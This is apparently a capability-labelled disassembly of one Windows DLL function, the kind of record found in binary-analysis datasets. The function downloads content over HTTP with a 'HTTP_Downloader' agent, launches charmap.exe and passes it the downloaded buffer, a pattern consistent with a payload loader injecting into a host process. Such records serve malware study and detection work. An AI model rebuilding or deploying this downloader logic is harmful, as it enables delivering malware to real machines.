Function at 0x180001b20
Capabilities:
Create http request
Create process on windows
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1070]
mov eax, 0x1170
call fcn.1800040a0
sub rsp, rax
mov rax, qword [0x180008040]
xor rax, rsp
mov qword [rbp + 0x1030], rax
xor r12d, r12d
mov qword [rsp + 0x70], rcx
mov r15, r8
mov qword [rbp - 0x48], r12
mov rbx, rdx
mov dword [rsp + 0x20], r12d
mov r13, rcx
xorps xmm0, xmm0
xor r8d, r8d
lea rcx, str.HTTP_Downloader
xor edx, edx
xor r9d, r9d
mov esi, r12d
movdqu xmmword [rbp - 0x58], xmm0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x78], rax
mov rdi, rax
test rax, rax
jne 0x180001bc7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_internet_connection
call fcn.1800022b0
lea rdx, [0x180002480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor bl, bl
jmp 0x1800020d9
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
jne 0x180001c2c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_URL:
call fcn.1800022b0
mov rcx, rax
mov rdx, rbx
call fcn.1800022b0
lea rdx, [0x180002480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x1800020d9
lea r9, [rbp - 0x60]
mov dword [rbp - 0x60], 4
lea r8, [rbp - 0x5c]
mov qword [rsp + 0x20], r12
mov edx, 0x20000005
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov r12d, dword [rbp - 0x5c]
test eax, eax
mov rax, rsi
cmove r12d, eax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
movabs r9, 0xb2f4fc0794908cf3
mov rcx, rax
cmp rbx, 0x989680
jne 0x180001c86
imul rbx, rcx, 0x64
jmp 0x180001cfa
cmp rbx, 0x16e3600
jne 0x180001cd9
mov rax, r9
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
mov rax, r9
imul rcx, rcx, 0x3b9aca00
imul rcx
lea rbx, [rcx + rdx]
sar rbx, 0x18
mov rax, rbx
shr rax, 0x3f
add rbx, rax
imul rax, r8, 0x3b9aca00
jmp 0x180001cf7
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
lea r9, [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x30]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x180001eb2
movaps xmmword [rsp + 0x1160], xmm6
movabs r13, 0xb2f4fc0794908cf3
movsd xmm6, qword [0x180005668]
movaps xmmword [rsp + 0x1150], xmm7
movsd xmm7, qword [0x180005678]
movaps xmmword [rsp + 0x1140], xmm8
movsd xmm8, qword [0x180005670]
mov eax, dword [rbp - 0x80]
test eax, eax
je 0x180001e8f
mov rdx, qword [rbp - 0x50]
lea r8, [rbp + 0x30]
mov r9d, eax
lea rcx, [rbp - 0x58]
add esi, eax
call fcn.1800025c0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x180001d97
imul rax, rcx, 0x64
jmp 0x180001e08
cmp rdi, 0x16e3600
jne 0x180001dea
mov rax, r13
imul rcx
lea r8, [rcx + rdx]
sar r8, 0x18
mov rax, r8
shr rax, 0x3f
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
mov rax, r13
imul rcx, rcx, 0x3b9aca00
imul rcx
lea rax, [rcx + rdx]
sar rax, 0x18
mov rcx, rax
shr rcx, 0x3f
add rax, rcx
imul rcx, r8, 0x3b9aca00
jmp 0x180001e05
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
imul rcx, rcx, 0x3b9aca00
add rax, rcx
xorps xmm0, xmm0
mov rcx, rax
sub rcx, rbx
cvtsi2sd xmm0, rcx
divsd xmm0, xmm7
comisd xmm0, xmm8
jb 0x180001e70
mov ecx, dword [rbp - 0x80]
xorps xmm1, xmm1
mov rbx, rax
mov eax, esi
xorps xmm4, xmm4
cvtsi2sd xmm1, rcx
mulsd xmm1, xmm6
divsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mov eax, r12d
cvtsi2sd xmm4, rax
movaps xmm2, xmm0
mulsd xmm2, xmm6
movaps xmm3, xmm4
mulsd xmm3, xmm6
test r12d, r12d
je 0x180001e65
divsd xmm0, xmm4
jmp 0x180001e68
xorps xmm0, xmm0
test r15, r15
je 0x180001e70
call r15
lea r9, [rbp - 0x80]
mov r8d, 0x1000
lea rdx, [rbp + 0x30]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180001d55
mov r13, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
movaps xmm8, xmmword [rsp + 0x1140]
movaps xmm7, xmmword [rsp + 0x1150]
movaps xmm6, xmmword [rsp + 0x1160]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ebx, ebx
mov qword [rsp + 0x58], rbx
lea ecx, [rbx + 0x20]
call fcn.180003190
movups xmm0, xmmword [str.charmap.exe]
mov qword [rsp + 0x50], rax
mov rdx, rax
mov qword [rsp + 0x60], 0xb
xor r9d, r9d
mov qword [rsp + 0x68], 0xf
xor r8d, r8d
movups xmmword [rax], xmm0
mov eax, dword [0x1800055c8]
xor ecx, ecx
xorps xmm0, xmm0
mov dword [rdx + 0x10], eax
movzx eax, word [0x1800055cc]
mov word [rdx + 0x14], ax
xor eax, eax
mov qword [rbp + 0x20], rax
mov qword [rbp - 0x68], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x28], ebx
movups xmmword [rbp - 0x10], xmm0
mov dword [rsp + 0x20], ebx
movups xmmword [rbp], xmm0
mov word [rdx + 0x16], bx
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x20], xmm0
mov dword [rbp - 4], 1
movups xmmword [rbp + 0x10], xmm0
mov word [rbp], bx
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180001f99
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rbp - 0x68]
jmp 0x180001fbe
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Create_Process_Faild_
call fcn.1800022b0
lea rdx, [0x180002480]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, ebx
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x180002003
mov rcx, qword [rsp + 0x50]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001ffe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001ffe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800031d4
mov qword [rbp - 0x68], rbx
xorps xmm0, xmm0
mov rbx, qword [rbp - 0x50]
movdqu xmmword [rbp - 0x78], xmm0
sub rbx, qword [rbp - 0x58]
je 0x180002096
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x180002149
cmp rbx, 0x1000
jb 0x180002061
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x180002143
call fcn.180003190
test rax, rax
je 0x18000205a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000206c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180003190
mov rdi, rax
mov rdx, qword [rbp - 0x58]
lea rcx, [rdi + rbx]
mov rbx, qword [rbp - 0x50]
sub rbx, rdx
mov qword [rbp - 0x68], rcx
mov r8, rbx
mov qword [rbp - 0x78], rdi
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbx + rdi]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x50], xmm0
mov r8, 0xffffffffffffffff
movdqu xmmword [rsp + 0x60], xmm1
nop
inc r8
cmp byte [r8 + r13], 0
jne 0x1800020b0
mov rdx, r13
lea rcx, [rsp + 0x50]
call fcn.1800024c0
lea r8, [rbp - 0x78]
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.180001260
mov bl, 1
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x180002116
mov rdx, qword [rbp - 0x48]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x180002111
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002111
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800031d4
movzx eax, bl
mov rcx, qword [rbp + 0x1030]
xor rcx, rsp
call fcn.180003170
mov rbx, qword [rsp + 0x11c8]
add rsp, 0x1170
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180001180
int3
call fcn.180002260
int3